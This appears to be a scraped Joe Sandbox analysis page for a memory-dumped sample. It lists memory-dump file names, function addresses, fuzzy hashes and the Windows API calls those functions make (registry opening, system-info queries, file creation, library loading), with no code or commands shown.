Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: e404b68e764ee4fe848ca8e7b9373d9d418192bb8907214d3b60954e6114a3d3
Instruction ID: bf2128b5dc4600777598009d66cbc7af4e39475bce3fb789ec4d922f3a8660c1
Opcode Fuzzy Hash: e404b68e764ee4fe848ca8e7b9373d9d418192bb8907214d3b60954e6114a3d3
Instruction Fuzzy Hash: 88E0C2322045998ADB1A9F64A80175D3B8DDB80700F904614FB599AE4DCB2D1D118796

Function 00AC2E8C Relevance: 4.6, APIs: 3, Instructions: 78
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00AC68E6
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00AC690D
GetNativeSystemInfo.KERNELBASE(?), ref: 00AC6964

Memory Dump Source

Source File: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e640548f7210ecea793ec1c35a5930a3d5ecd17de2289438ea2e392bf770d754
Instruction ID: 433582ad4948e7f8ad44ae0f83b617ee7bc6da950cf07bd9337fce300d83d74f
Opcode Fuzzy Hash: e640548f7210ecea793ec1c35a5930a3d5ecd17de2289438ea2e392bf770d754
Instruction Fuzzy Hash: BD3106B250420EDFEF15DF24C888BEF3BA5EF04305F11042AEA4596940E7B65DA8DF59

Function 00AB8E08 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 173
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(00000000), ref: 00AB8E8A

Strings

C, xrefs: 00AB9234

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 2ee45f166c7c99b13a3ed21a6aba6d9c338ca1ea89d8316f202ef6f14f59f820
Instruction ID: b4479acf637eafb161b8e1e18e672b507a8089fa0b296255408756fb80f2a56a
Opcode Fuzzy Hash: 2ee45f166c7c99b13a3ed21a6aba6d9c338ca1ea89d8316f202ef6f14f59f820
Instruction Fuzzy Hash: BA4137B654C2667EF7018E25AE109FF777DE9D2330B34842BF841C6543C2694D499631

Function 00AB8FC7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 100
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00AB9027

Strings

C, xrefs: 00AB9234

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID: C
API String ID: 823142352-1037565863
Opcode ID: 35d3c3103da820c10f425c089ca4e082465b10269cf0b03e4b1fe31ade224ef6
Instruction ID: 42307cd5a828b5189294e3fe1503a98d29ca39fbdab3475fd0e902a90c8d3732
Opcode Fuzzy Hash: 35d3c3103da820c10f425c089ca4e082465b10269cf0b03e4b1fe31ade224ef6
Instruction Fuzzy Hash: 2F2184B264C26A7CFB018E24AE619FF33ADEAE6330F30802AF902CA043C2658D055434

Function 00AB9108 Relevance: 1.6, APIs: 1, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(24448100,?,?,000072A5,?,00AB90EF,00000003,00000000,00000003,69B42C1A,00000000), ref: 00AB91C0

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784658563.0000000000B5E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784688763.0000000000B60000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784713605.0000000000B65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784737286.0000000000B6D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784764750.0000000000B6F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784793424.0000000000B7C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784818376.0000000000B7E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784863111.0000000000BC2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784888827.0000000000BC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BC4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784911800.0000000000BCC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784965126.0000000000BDA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784987731.0000000000BDC000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_920000_V6JTG9Z5Z4ZAMITLFW.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ae1358f08adf49e09e68001072d1bfe684005f6c195035dac4a03ffe5225768f
Instruction ID: 12ddd7b6203ac3ab84191cfa4aec352edbfb4704197fe1c7cebac407dc19141d
Opcode Fuzzy Hash: ae1358f08adf49e09e68001072d1bfe684005f6c195035dac4a03ffe5225768f
Instruction Fuzzy Hash: A22124BA24C2866EE3458B28AD949FB7B6DFA86730730426AF441C6683D2605D09A734

Function 00AB5321 Relevance: 1.6, APIs: 1, Instructions: 103
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00AB5321

Memory Dump Source

Source File: 00000004.00000002.2784047626.0000000000AB3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00920000, based on PE: true

Associated: 00000004.00000002.2783743696.0000000000920000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783766290.0000000000922000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783788873.0000000000926000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783812751.000000000092A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783836883.0000000000934000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783859541.0000000000935000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783882104.0000000000936000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2783992232.0000000000A99000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784018008.0000000000A9C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784047626.0000000000ABD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784095555.0000000000ABF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784117342.0000000000AC0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784143714.0000000000AC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784165980.0000000000ACA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784192234.0000000000ADA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784214416.0000000000ADB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784242480.0000000000AF8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784266099.0000000000B03000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784290749.0000000000B11000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784313457.0000000000B12000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784337353.0000000000B13000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784359011.0000000000B15000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784383112.0000000000B1E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784405034.0000000000B1F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784427935.0000000000B29000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784455339.0000000000B2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784480169.0000000000B34000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784503213.0000000000B37000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784526041.0000000000B38000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784549273.0000000000B3D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784573401.0000000000B4A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784596289.0000000000B50000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2784628344.0000000000B5B000.00000080.00000001.01000000.00000006.sdmpDownload File
